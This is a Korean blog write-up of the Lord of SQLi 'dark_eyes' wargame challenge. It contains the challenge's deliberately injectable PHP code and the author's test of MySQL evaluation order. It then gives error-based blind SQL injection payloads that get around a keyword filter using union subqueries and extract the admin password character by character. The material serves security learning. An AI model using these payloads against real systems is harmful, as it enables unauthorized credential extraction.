<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
난 왜이리 궁금한것들이 많이 떠오를까ㅋㅋ.. 이 문제를 풀다가도 의문이 생겼었다.
mysql> select * from people;
+----+--------+-----------+
| id | sex | name |
+----+--------+-----------+
| 1 | 남자 | 김준영 |
| 2 | 남자 | 박민수 |
| 3 | 여자 | 김영지 |
| 4 | 남자 | 이준수 |
| 5 | 남자 | 구준표 |
| 6 | 여자 | 이윤지 |
| 7 | 여자 | 이혜리 |
| 8 | 여자 | 권아영 |
| 9 | 여자 | 김예지 |
| 10 | 남자 | 이준필 |
+----+--------+-----------+
10 rows in set (0.00 sec)
mysql> select * from people where 0 and (select 1 union select 2);
Empty set (0.00 sec)
mysql> select * from people where id=50 and (select 1 union select 2);
ERROR 1242 (21000): Subquery returns more than 1 row
이 문제를 풀려면 (select 1 union select 2) 유형의 구문을 사용하는데, 이 작동 방식에 대해 실험하다가 의문이 생겼다.
논리연산자의 단축평가에 의해 앞 부분이 0이라면 뒤에는 무조건 실행되지 않아야 하는 것이므로, 둘 다 결과가 동일하게 Empty set이 나와야 하는데... 아래 경우는 오류를 뿜었다. id = 50인 레코드가 없는데도 말이다.
두 가지 정도의 이유가 있는 듯 하다.
쿼리 자체가 실행(=검색실행) 되고 안되고의 차이에 더불어 AND 연산자의 순서 차이.
우선 중요한 점은, SQL에서는 A and B 에서 A 와 B의 평가 순서를 시스템이 알아서 효율적으로 선택한다.
첫번째의 경우 조건이 변하지 않는 상수 0이 나왔기 때문에 테이블에 대한 검색 자체를 하지 않을 뿐더러 서브쿼리도 평가하지 않는다.
두번째의 경우 id=50인게 있는지 없는지 검색 전까지는 모르므로 쿼리 실행으로 검색을 수행하긴 하는데, 이 때 SQL 에서는 AND 연산의 평가 순서를 스스로 자율적으로 선택하기에, 뒤에 있는 서브쿼리가 먼저 평가되어서 오류를 뿜게 된다.
-------------------------------------------------------------------------------------------
휴.. 어쨌든 이번 문제는 (select x union select y) 서브쿼리를 이용해서 푼다.
mysql> select 1 union select 2;
+---+
| 1 |
+---+
| 1 |
| 2 |
+---+
2 rows in set (0.00 sec)
mysql> select 1 union select 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
이전 iron_golem 문제도 그렇고, 스칼라 값 위치에 (select 1 union select 2) 같은 다중 행을 넣음으로써 에러를 발생시키는 동작을 이끌었는데, 이렇게 앞 뒤 인자가 같을 경우엔 단일 행으로 출력되는 점을 이용하면 된다.
비밀번호 길이 알아내기
->
query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and (select 1 union select length(pw)=8)#'
length(pw) = 8 일때, select 1 union select 1이 되면서 다중 행이 아닌 단일 행 스칼라값이 들어가면서 쿼리가 정상적으로 동작한다.
비밀번호 값 알아내기
->
query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and (select 1 union select ord(mid(pw,x,1))>y)#'
x y에 값을 넣어가며 알아간다.
query : select id from prob_dark_eyes where id='admin' and pw='5a2f5d3c'
'[웹해킹] > [LOS]' 카테고리의 다른 글
[LOS] EVIL_WIZARD (0) | 2021.02.05 |
---|---|
[LOS] HELL_FIRE (0) | 2021.02.01 |
[LOS] IRON_GOLEM (0) | 2020.12.29 |
[LOS] DRAGON (0) | 2020.12.28 |
[LOS] XAVIS (0) | 2020.12.27 |